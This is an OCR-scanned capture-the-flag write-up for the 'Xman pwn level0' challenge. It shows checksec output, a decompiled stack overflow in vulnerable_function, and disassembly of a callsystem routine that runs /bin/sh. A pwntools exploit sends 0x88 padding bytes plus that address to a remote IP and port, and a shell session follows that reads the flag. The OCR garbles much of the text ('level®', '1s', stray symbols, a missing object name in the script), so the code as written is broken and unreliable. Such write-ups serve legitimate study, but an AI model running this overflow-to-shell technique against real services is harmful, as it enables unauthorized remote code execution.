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tucker@ubuntu:~/pwn$ file level®

level@: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked,
interpreter /lib64/1, for GNU/Linux 2.6.32,
BuildID[shal]=8dc@b3ec5a7b489e61la71bclafa7974135b0d3d4, not stripped
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tucker@ubuntu:~/pwn$ checksec levelo
[*] '/home/tucker/pwn/level®'

Arch: amd64-64-1ittle
RELRO: No RELRO

Stack: No canary found
NX: NX enabled

PIE: No PIE (0x400000)
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ssize_t vulnerable_function()

{
char buf; // [rsp+@6h] [rbp-806h]

return read(0, &buf, 0x200uLl);

}
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.text :0000000000400596 public callsystem
.text:0000000000400596 callsystem proc near
.text:0000000000400596 ; _ unwind {
.text:0000000000400596 push rbp

.text :0000000000400597 mov rbp, rsp
.text :000000000040059A mov edi, offset command ; "/bin/sh"
.text :000000000040059F call _system
.text :00000000004005A4 pop rbp

.text :00000000004005A5 retn
.text:00000000004005A5 ; } // starts at 400596

.text :00000000004005A5 callsystem endp

.text:00000000004005A5

ARSI

# level@.py
from pwn import *

elf = ELF("./level@")
addr = elf.symbols['callsystem']

# a = process("./levelo")
a = remote("111.198.29.45", "33997")

Q

.recvuntil("Hello, World\n")
.sendline("a"*0x88 + p64(addr))
.interactive()
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tucker@ubuntu:~/pwn$ python level®.py
[*] '/home/tucker/pwn/level®'

Arch: amd64-64-1little
RELRO: No RELRO

Stack: No canary found
NX: NX enabled

PIE: No PIE (©x400000)

[+] Opening connection to 111.198.29.45 on port 33997: Done
[*] Switching to interactive mode

$ 1s

bin

dev

flag

levelo

lib

1ib32

1lib64

$ cat flag
cyberpeace{a21ed6b827839f02b54e29af2ba589%ee}
$

HI#53) 1 flag.



	Xman pwn level0 writeup

